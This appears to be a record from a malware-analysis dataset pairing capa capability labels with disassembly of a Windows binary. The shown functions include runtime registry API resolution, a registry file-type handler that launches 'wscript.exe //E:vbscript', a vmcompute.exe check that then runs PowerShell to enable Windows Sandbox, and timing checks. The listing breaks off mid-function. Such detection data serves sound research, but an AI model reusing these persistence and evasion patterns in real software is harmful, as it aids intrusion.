joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400058d4
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
mov ebp, r9d
mov rdi, r8
mov r12, rdx
mov rsi, rcx
call fcn.140006a54
mov eax, dword [rsp + 0x60]
lea r11, vtable.CKernelManager.0
mov ebx, 0x208
mov dword [rsi + 0x230], eax
mov qword [rsi], r11
test eax, eax
je 0x140005952
test rdi, rdi
je 0x140005931
lea rcx, [0x140058e00]
mov r8, rdi
mov edx, ebx
call fcn.140021428
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x14000594a
lea rcx, [0x140059210]
mov rdx, rbx
call fcn.140021428
mov dword [0x140054664], ebp
jmp 0x140005988
test rdi, rdi
je 0x140005969
lea rcx, [0x1400585e0]
mov r8, rdi
mov rdx, rbx
call fcn.140021428
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x140005982
lea rcx, [0x1400589f0]
mov rdx, rbx
call fcn.140021428
mov dword [0x140054660], ebp
mov eax, dword [rsp + 0x50]
lea rcx, [0x140041430]
mov dword [0x140054668], eax
and dword [rsi + 0x238], 0
and dword [rsi + 0x234], 0
mov qword [rsi + 0x228], r12
mov qword [0x140057db0], rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.RegCreateKeyExW
mov rcx, rax
mov qword [rsi + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x140041460]
mov qword [rsi + 0x248], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, str.RegDeleteKeyW
mov qword [rsi + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x140041480]
mov qword [rsi + 0x258], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x140041490]
mov qword [rsi + 0x260], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x1400414a8]
mov qword [rsi + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, str.RegEnumValueW
mov qword [rsi + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, str.RegEnumKeyExW
mov qword [rsi + 0x270], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x1400414d8]
mov qword [rsi + 0x278], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
mov qword [rsi + 0x280], rax
mov rax, rsi
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r12
ret
Function at 0x140006194
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
lea rbp, [rax - 0x508]
sub rsp, 0x5f0
mov rbx, rcx
mov r12d, r8d
lea rcx, [rsp + 0x40]
mov r8d, 0x2d8
mov rsi, rdx
call fcn.140020ac0
lea rcx, [rbp + 0x222]
xor r13d, r13d
xor edx, edx
mov r8d, 0x2ce
mov word [rbp + 0x220], r13w
call fcn.140021110
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 1]
lea rcx, [rbp + 0x150]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140006229
xor eax, eax
jmp 0x1400062c3
lea r8d, [r12 - 0x2d8]
lea rdx, [rsi + 0x2d8]
lea r9, [rbp + 0x518]
mov rcx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140006222
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x220]
test eax, eax
je 0x14000628b
lea r9, [rsp + 0x48]
lea r8, [rbp + 0x150]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x140006298
lea rdx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x44]
test eax, eax
je 0x1400062a9
dec eax
jne 0x1400062be
xor r8d, r8d
jmp 0x1400062af
mov r8d, 5
lea rdx, [rbp + 0x220]
mov rcx, rbx
call fcn.140005ee4
mov eax, 1
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rbp
ret
Function at 0x140006e64
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rdx, qword [rcx]
mov r10d, dword [rcx + 0x68]
mov r12d, 1
movzx eax, word [rdx + 0x14]
mov rsi, qword [rdx + 0x30]
sub r10, r12
lea r8, [rax + rdx + 0x18]
movabs rax, 0xffffffff00000000
not r10
mov r11d, dword [r8 + 8]
and rsi, rax
mov eax, dword [r8 + 0x10]
or r11, rsi
xor ebx, ebx
mov r13, rcx
and r10, r11
mov qword [rbp + 0x30], rsi
mov qword [rbp - 0x20], r11
mov qword [rbp - 0x18], r10
test eax, eax
jne 0x140006ee9
test byte [r8 + 0x24], 0x40
je 0x140006edf
mov eax, dword [rdx + 0x20]
jmp 0x140006ee9
test byte [r8 + 0x24], 0x80
je 0x140006ee9
mov eax, dword [rdx + 0x24]
mov ecx, dword [r8 + 0x24]
mov r9d, eax
mov dword [rbp - 4], ebx
mov qword [rbp - 0x10], r9
mov r14d, r12d
mov dword [rbp - 8], ecx
cmp r12w, word [rdx + 6]
jae 0x140006fc2
lea rdi, [r8 + 0x4c]
mov r15d, dword [rdi - 0x1c]
mov eax, dword [rdi - 0x14]
or r15, rsi
mov esi, dword [r13 + 0x68]
sub rsi, r12
not rsi
and rsi, r15
test eax, eax
jne 0x140006f39
test byte [rdi], 0x40
je 0x140006f31
mov eax, dword [rdx + 0x20]
jmp 0x140006f39
test byte [rdi], 0x80
je 0x140006f39
mov eax, dword [rdx + 0x24]
mov r12d, eax
cmp r10, rsi
je 0x140006f73
lea rax, [r9 + r11]
cmp rax, rsi
ja 0x140006f73
lea rdx, [rbp - 0x20]
mov rcx, r13
call fcn.140006da4
test eax, eax
je 0x140006fbe
mov ecx, dword [rdi]
mov r11, r15
mov qword [rbp - 0x20], r15
mov r10, rsi
mov qword [rbp - 0x18], rsi
mov r9d, r12d
mov qword [rbp - 0x10], r12
jmp 0x140006f98
mov eax, dword [rdi]
bt eax, 0x19
jae 0x140006f85
bt ecx, 0x19
jae 0x140006f85
or ecx, eax
jmp 0x140006f8b
or ecx, eax
btr ecx, 0x19
mov r9, r12
sub r9, r11
add r9, r15
mov qword [rbp - 0x10], r9
mov rdx, qword [r13]
mov r12d, 1
add rdi, 0x28
movzx eax, word [rdx + 6]
add r14d, r12d
mov dword [rbp - 8], ecx
cmp r14d, eax
jge 0x140006fc2
mov rsi, qword [rbp + 0x30]
jmp 0x140006f0c
xor eax, eax
jmp 0x140006fd9
lea rdx, [rbp - 0x20]
mov rcx, r13
mov dword [rbp - 4], r12d
call fcn.140006da4
test eax, eax
setne bl
mov eax, ebx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140007bf4
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x30
mov r12, rcx
mov rcx, qword [rcx + 0x148]
mov rdi, r9
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r14d, r14d
lea rcx, [r12 + 0x138]
mov eax, r14d
xchg dword [r12 + 0x150], eax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [r12 + 0x160]
mov r8, rdi
mov edx, 0xff
call fcn.140021428
lea rcx, [r12 + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [r12 + 0x160]
lea rcx, [r12 + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [r12 + 0x360], eax
call fcn.140020ac0
mov r11d, dword [r12 + 0x360]
mov rcx, qword [r12 + 0x378]
add r11d, 8
add rcx, 8
lea edi, [r14 + 1]
mov dword [r12 + 0x364], r11d
mov rax, qword [rcx]
movzx r8d, si
mov r9d, edi
mov rdx, rbp
mov word [rsp + 0x28], r14w
mov qword [rsp + 0x20], r14
call qword [rax]
mov rcx, qword [r12 + 0x380]
mov edx, 0xfa0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140007d0e
cmp eax, 0x102
je 0x140007cfc
cmp eax, 0xffffffff
jne 0x140007d0a
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x140007d74
lea rcx, [r12 + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [r12 + 0x140]
sub rcx, qword [r12 + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [r12 + 0x130]
cvtsi2sd xmm1, rcx
divsd xmm0, qword [0x1400412f0]
mov ecx, edi
divsd xmm1, xmm0
movsd qword [r12 + 0x128], xmm1
xchg dword [r12 + 0x150], ecx
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov al, dil
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop r13
pop r12
ret
Function at 0x140008214
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
mov rbp, rsp
sub rsp, 0x48
lea rax, [rbp + 0x28]
mov rsi, 0xffffffff80000000
lea rdx, [0x1400419f8]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140008254
mov rcx, qword [rbp + 0x28]
jmp 0x140008340
lea r8, [rbp + 0x20]
lea rdx, [0x140041a00]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, str.Counsellor
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x20]
xor edx, edx
lea eax, [rax + rax + 2]
lea r9, str.Counsellor
lea r8d, [rdx + 1]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rbp + 0x18]
lea rdx, str.Counsellor
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp + 0x18]
xor edx, edx
lea r8d, [rdx + 1]
lea r9, str.iodealticd_Upgrader_File
mov dword [rsp + 0x20], gethostbyname
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x18]
lea r8, [rbp + 0x30]
lea rdx, [0x140041a58]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp + 0x30]
lea r8, [rbp - 0x18]
lea rdx, [0x140041a68]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp - 0x18]
lea r8, [rbp - 0x10]
lea rdx, [0x140041a78]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, str.wscript.exe___E:vbscript___1_
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp - 0x10]
xor edx, edx
lea eax, [rax + rax + 2]
lea r9, str.wscript.exe___E:vbscript___1_
lea r8d, [rdx + 1]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x48
pop rsi
pop rbp
ret

Function at 0x140008528
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov r9, rcx
lea r10, [rcx + 0x9c4]
mov r11d, 0xe3
mov edx, dword [r10 + 4]
xor edx, dword [r10]
btr edx, 0x1f
xor edx, dword [r10]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
add r10, 4
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
dec r11
mov dword [r10 - 0x9c4], ecx
jne 0x140008538
lea r10, [r9 + 0xd50]
mov r11d, 0x18c
mov edx, dword [r10 + 4]
xor edx, dword [r10]
btr edx, 0x1f
xor edx, dword [r10]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
add r10, 4
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
dec r11
mov dword [r10 - 0x9c4], ecx
jne 0x14000857c
mov edx, dword [r9 + 0x1380]
xor edx, dword [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
and dword [r9], r11d
ret
Function at 0x140009d38
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov r8d, 0x270
mov rbx, rcx
cmp dword [rcx], r8d
jne 0x140009d8a
lea r9, [rcx + 8]
mov edx, dword [r9 - 4]
xor edx, dword [r9]
btr edx, 0x1f
xor edx, dword [r9 - 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
add r9, 4
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x62c]
xor ecx, edx
dec r8
mov dword [r9 + 0x9b8], ecx
jne 0x140009d50
jmp 0x140009d97
cmp dword [rcx], 0x4e0
jb 0x140009d97
call fcn.140008528
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov eax, dword [rbx + 0x1384]
mov ecx, edx
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x14000ba48
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r13
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rbx, rcx
cmp qword [rcx + 0x80], 0
je 0x14000bbdd
cmp byte [rcx + 0x8a], 0
je 0x14000bbdd
mov rax, qword [rcx]
mov edi, 0xffff
mov edx, edi
call qword [rax + 0x18]
cmp di, ax
jne 0x14000ba9d
xor al, al
jmp 0x14000bbdf
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rdx
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
lea r13d, [rdx - 7]
cmp r13b, 0xfe
jbe 0x14000bac6
lea rcx, str.string_too_long
call fcn.14003a258
int3
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], r13
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
cmp r10, 0x10
cmovae rdx, r9
lea r8, [rbp - 0x28]
cmovae r8, r9
mov rcx, qword [rbx + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rbx + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x14000bb2b
dec eax
jne 0x14000bba2
jmp 0x14000bb32
mov byte [rbx + 0x8a], 0
lea rax, [rbp - 0x28]
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
cmp r10, 0x10
cmovae rax, r9
mov rdi, qword [rbp + 0x20]
sub rdi, rax
je 0x14000bb7c
lea rcx, [rbp - 0x28]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rbx + 0x98]
mov r8, rdi
mov edx, 1
call fcn.140021f20
cmp rdi, rax
jne 0x14000bbb6
mov r10, qword [rbp - 0x10]
mov r9, qword [rbp - 0x28]
cmp byte [rbx + 0x8a], 0
je 0x14000bbcf
test rdi, rdi
jne 0x14000bae7
xor r8d, r8d
mov rdx, r13
lea rcx, [rbp - 0x28]
call fcn.1400042a4
jmp 0x14000badf
sub eax, 2
je 0x14000bba9
jmp 0x14000bbb6
cmp qword [rbp - 0x10], 0x10
jb 0x14000bbdd
mov rcx, qword [rbp - 0x28]
jmp 0x14000bbd8
cmp qword [rbp - 0x10], 0x10
jb 0x14000ba96
mov rcx, qword [rbp - 0x28]
call fcn.140020df4
jmp 0x14000ba96
cmp r10, 0x10
jb 0x14000bbdd
mov rcx, r9
call fcn.140020df4
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop rdi
pop rbp
ret
Function at 0x14000cf54
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov esi, edx
mov rdi, rcx
or ebx, 0xffffffff
cmp edx, ebx
jne 0x14000cf84
xor eax, eax
jmp 0x14000d193
mov rdx, qword [rcx + 0x48]
cmp qword [rdx], 0
je 0x14000cfb7
mov rcx, qword [rcx + 0x60]
movsxd rax, dword [rcx]
add rax, qword [rdx]
cmp qword [rdx], rax
jae 0x14000cfb7
add dword [rcx], ebx
mov rcx, qword [rdi + 0x48]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov byte [rdx], sil
mov eax, esi
jmp 0x14000d193
cmp qword [rdi + 0x98], 0
je 0x14000d191
mov rdx, qword [rdi + 0x20]
lea rax, [rdi + 0x88]
cmp qword [rdx], rax
jne 0x14000cfef
mov rcx, qword [rdi + 0x78]
mov rax, qword [rdi + 0x70]
mov qword [rdx], rax
mov rax, qword [rdi + 0x40]
mov qword [rax], rcx
sub ecx, ecx
mov rax, qword [rdi + 0x58]
mov dword [rax], ecx
cmp qword [rdi + 0x80], 0
jne 0x14000d013
movsx ecx, sil
mov rdx, qword [rdi + 0x98]
call fcn.140023744
cmp eax, ebx
cmovne ebx, esi
jmp 0x14000d191
mov byte [rbp + 0x38], sil
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rdx
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
lea eax, [rdx - 7]
cmp al, 0xfe
jbe 0x14000d03d
lea rcx, str.string_too_long
call fcn.14003a258
int3
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
cmp r10, 0x10
cmovae rdx, r9
lea r8, [rbp - 0x28]
cmovae r8, r9
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
add rdx, qword [rbp - 0x18]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x39]
lea r8, [rbp + 0x38]
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x28]
test eax, eax
js 0x14000d181
cmp eax, 1
jg 0x14000d165
lea rax, [rbp - 0x28]
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
cmp r10, 0x10
cmovae rax, r9
mov r12, qword [rbp + 0x40]
sub r12, rax
je 0x14000d10a
lea rcx, [rbp - 0x28]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rdi + 0x98]
mov r8, r12
mov edx, 1
call fcn.140021f20
cmp r12, rax
jne 0x14000d141
mov r10, qword [rbp - 0x10]
mov r9, qword [rbp - 0x28]
mov byte [rdi + 0x89], 1
lea rax, [rbp + 0x38]
cmp qword [rbp + 0x48], rax
jne 0x14000d14e
test r12, r12
jne 0x14000d05e
cmp qword [rbp - 0x18], 0x20
jae 0x14000d143
xor r8d, r8d
lea edx, [r12 + 8]
lea rcx, [rbp - 0x28]
call fcn.1400042a4
jmp 0x14000d056
jmp 0x14000d181
cmp r10, 0x10
jb 0x14000d191
mov rcx, r9
jmp 0x14000d18c
cmp r10, 0x10
jb 0x14000cfb0
mov rcx, r9
call fcn.140020df4
jmp 0x14000cfb0
cmp eax, 3
jne 0x14000d181
movsx ecx, byte [rbp + 0x38]
mov rdx, qword [rdi + 0x98]
call fcn.140023744
cmp eax, ebx
cmovne ebx, esi
jmp 0x14000d181
cmp qword [rbp - 0x10], 0x10
jb 0x14000d191
mov rcx, qword [rbp - 0x28]
call fcn.140020df4
mov eax, ebx
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000dc80
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x258]
sub rsp, 0x350
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rsp + 0x68], 7
xor esi, esi
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
lea r8d, [rsi + 0xd]
lea rdx, str.vmcompute.exe
lea rcx, [rsp + 0x50]
call fcn.14000bdec
nop
xor edx, edx
lea ecx, [rsi + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rbp + 0x10], 0x238
lea rdx, [rbp + 0x10]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x14000dd03
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dl, sil
jmp 0x14000dd4a
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x3c]
repne scasw ax, word [rdi]
not rcx
dec rcx
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x3c]
mov r8, qword [rsp + 0x60]
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.14000849c
mov rcx, rbx
test eax, eax
je 0x14000dd42
lea rdx, [rbp + 0x10]
call sub.KERNEL32.dll_Process32NextW
jmp 0x14000dcf1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dl, 1
test dl, dl
sete dil
cmp qword [rsp + 0x68], 8
jb 0x14000dd62
mov rcx, qword [rsp + 0x50]
call fcn.140020df4
test dil, dil
je 0x14000de40
mov edi, 0x68
mov r8d, edi
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.140021110
mov dword [rbp - 0x60], edi
mov dword [rbp - 0x24], 1
mov word [rbp - 0x20], si
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
lea r8d, [rdi - 2]
lea rdx, str.powershell.exe_Enable_WindowsOptionalFeature__FeatureName__Containers_DisposableClientVM___All__Online
lea rcx, [rsp + 0x50]
call fcn.14000bdec
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000de2e
or edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x68], 8
jb 0x14000de40
mov rcx, qword [rsp + 0x50]
call fcn.140020df4
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14000e0d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x13e0]
mov eax, 0x14e0
call fcn.140024880
sub rsp, rax
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0x1518], rbx
mov rdi, rcx
xor ebx, ebx
mov dword [rbp + 0x1408], ebx
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x30], rbx
mov byte [rsp + 0x20], bl
xor r8d, r8d
lea rdx, [0x1400419f0]
lea rcx, [rsp + 0x20]
call fcn.14000b1f8
nop
call fcn.14003aec4
nop
cmp qword [rsp + 0x38], 0x10
jb 0x14000e148
mov rcx, qword [rsp + 0x20]
call fcn.140020df4
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x30], rbx
mov byte [rsp + 0x20], bl
call fcn.14003aec4
or dword [rbp + 0x13d4], 0xffffffff
mov dword [rbp + 0x54], eax
mov esi, 1
mov r8d, esi
mov edx, esi
mov r9d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor eax, ecx
imul eax, eax, 0x6c078965
add eax, r8d
mov dword [rbp + rdx*4 + 0x54], eax
add r8d, esi
add rdx, rsi
cmp rdx, r9
jl 0x14000e179
mov dword [rbp + 0x50], r9d
mov dword [rbp + 0x1410], ebx
mov dword [rbp + 0x1414], reloc.WS2_32.dll_ntohs
mov r8d, esi
mov edx, 3
lea rcx, [rsp + 0x50]
call fcn.14000d514
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x1410]
call fcn.14000bf14
lea r8d, [rax + 0x30]
lea ecx, [rax + 0x57]
movzx edx, cl
movzx ecx, r8b
cmp eax, 0xa
cmovl edx, ecx
lea rcx, [rsp + 0x60]
call fcn.14000bf88
cmp ebx, 7
je 0x14000e201
cmp ebx, 0xb
je 0x14000e201
cmp ebx, 0xf
je 0x14000e201
cmp ebx, 0x13
jne 0x14000e20d
mov dl, 0x2d
lea rcx, [rsp + 0x60]
call fcn.14000bf88
add ebx, esi
cmp ebx, 0x20
jl 0x14000e1bf
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.14000de5c
mov dword [rbp + 0x1408], esi
lea rcx, [rbp - 0x18]
call fcn.140009f78
lea r11, vtable.std::ios_base.0
mov qword [rbp - 0x18], r11
lea rcx, [rbp - 0x18]
call fcn.14003ae78
mov rax, rdi
mov rbx, qword [rsp + 0x1518]
add rsp, 0x14e0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000f56c
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x50
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx r11d, word [rsp + 0x3e]
movzx eax, word [rsp + 0x4e]
movzx ecx, word [rsp + 0x4c]
sub eax, r11d
movd xmm1, eax
movzx eax, word [rsp + 0x3c]
sub ecx, eax
cvtdq2pd xmm1, xmm1
movd xmm0, ecx
divsd xmm1, qword [0x1400412f0]
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, qword [0x140042bc8]
comisd xmm0, xmm1
ja 0x14000f633
call fcn.14000eeb4
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
